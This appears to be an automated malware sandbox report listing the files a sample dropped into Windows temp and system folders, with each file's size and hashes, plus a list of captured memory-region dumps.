0e09d9ae39c55a3dde43abdcc01d4c80797ad6eea2b53c0e7cb407ef775d7d8e82ddf5aa2c3b02d45fcdd8db9ed8149f548aba162162d262bc160bd3020b8c72

Download Submit
C:\Windows\TEMP\bliinatya\780.dmp

Filesize
3.3MB

MD5
eb333ee2479970a025ad1592942950de

SHA1
b1092834fea2c1620f284e869079557b75405dd5

SHA256
1e1a30f14c1956c3432f32360c708cb3e7f905e1fd632da32e0f4a5dcffd7685

SHA512
3a82dfdb94c39ae0788b476df386531e21bbe006ce3dcc972ed7f14878512a3f077344f70a68297da290ddc6db2442b0bea874935070cc2ed3a710b948155ab2

Download Submit
C:\Windows\TEMP\vuctsdlau\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\bliinatya\eqelmsiua.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsj412D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsj412D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\vuctsdlau\indtey.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\bliinatya\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\bliinatya\rtbnheisb\Result.txt

Filesize
900B

MD5
2a80b9ca014e54810b1825d3643b4675

SHA1
8552379b91f6e81551136e44a20466847a1dde53

SHA256
0c9d017f49bb93d70a54c91c781574172deeb44f10a1cbadd11386c43c101335

SHA512
a7cd4e46930fe21a25a05453c6ace8a44b0fb02e92607d3eb1414ec6177c7dbe21d07a1d04bff9e69d84c2ad4bbcea9cf51d92f2c420cc55f13850ac5dca3853

Download Submit
C:\Windows\bliinatya\rtbnheisb\Result.txt

Filesize
1KB

MD5
e96a62ab2dca9a0df6c645d7e08384cf

SHA1
1b0113e37a958aa0bc3736bce223553ee3391299

SHA256
4c609c75698dc8b928840cda93b72806fbc60358fb3e213ca67aa2359c509e7c

SHA512
bed2768c9f9c9a1f861227e588fc95583ac7f29edba2daa1dc8c6e941d017e38c2787752a39f4549de1dea3303e5243d679c556f33116c9281abef9695843ef7

Download Submit
C:\Windows\bliinatya\rtbnheisb\Result.txt

Filesize
1KB

MD5
3f38ff56e399d53a52eefef983c8355a

SHA1
15e5e7520d27bd814153e71f66578b827eee04f5

SHA256
3a8c55ec1beafc03709ce8ef12c84dd06b8bfeb733bab20bc5e4f0be8ba981d1

SHA512
b1adfc40464639b8fc24e35fe52ba60cad5fd26a0b957374cc0655411362bc24fa4e9ba7f2603565aac8a8382568c23a875e97d7a2168e5f684998cc26c95669

Download Submit
C:\Windows\bliinatya\rtbnheisb\Result.txt

Filesize
2KB

MD5
9a3e2427fdcce3133f41f46d4712daae

SHA1
861a24a13c968e30618af021fec02c9ad87351fb

SHA256
c11714094a7dc2356d85453dc627f414c282a71026766a9cd91650961a7e62d8

SHA512
a8cb6defb28304dadd0d3079bd422af22129d3ee5abee4e025b52b02903bf63ad00763fc8d7bd6a058f54822f5ba2654fb79a9770b689b5d9dd9d367c42035c9

Download Submit
C:\Windows\bliinatya\rtbnheisb\igadlieeu.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\bliinatya\rtbnheisb\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\uqrutnuy\zghnuwi.exe

Filesize
8.3MB

MD5
89d51ce84c6212633f7c2000e5735ca4

SHA1
6e355bb978e504ab39bc2a382f6b1561fac01f69

SHA256
a2185fb0f8bd356f01e82f6cf70caba1260212c52b254225a55aa9eb5d0171d8

SHA512
c0f9087cda290e003d750641340efeeaae46043011fe9f0eb2fa9d5713e7ec8e43898b2008fe4e99d5fbd6f345eda6fa98cd91c0e57bff9f8c900dc531cbe917

Download Submit
memory/920-184-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/1452-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/1528-179-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/1940-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/1940-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/2008-78-0x0000000001460000-0x00000000014AC000-memory.dmp

Filesize
304KB

Download
memory/2040-227-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2228-141-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2228-145-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2656-230-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2696-235-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2816-223-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/2948-218-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/3168-188-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/3852-167-0x0000011902A20000-0x0000011902A30000-memory.dmp

Filesize
64KB

Download
memory/3852-256-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-377-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-181-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-215-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-176-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-268-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-220-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-163-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-202-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-249-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3852-233-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp

Filesize
1.1MB

Download
memory/3940-196-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/3944-205-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4004-237-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4228-247-0x00000000003C0000-0x00000000003D2000-memory.dmp

Filesize
72KB

Download
memory/4360-213-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4364-174-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4456-151-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/4456-166-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4548-209-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4672-232-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/4760-136-0x00007FF713CC0000-0x00007FF713DAE000-memory.dmp

Filesize
952KB

Download
memory/4760-137-0x00007FF713CC0000-0x00007FF713DAE000-memory.dmp

Filesize
952KB

Download
memory/4988-192-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download
memory/5012-170-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp

Filesize
364KB

Download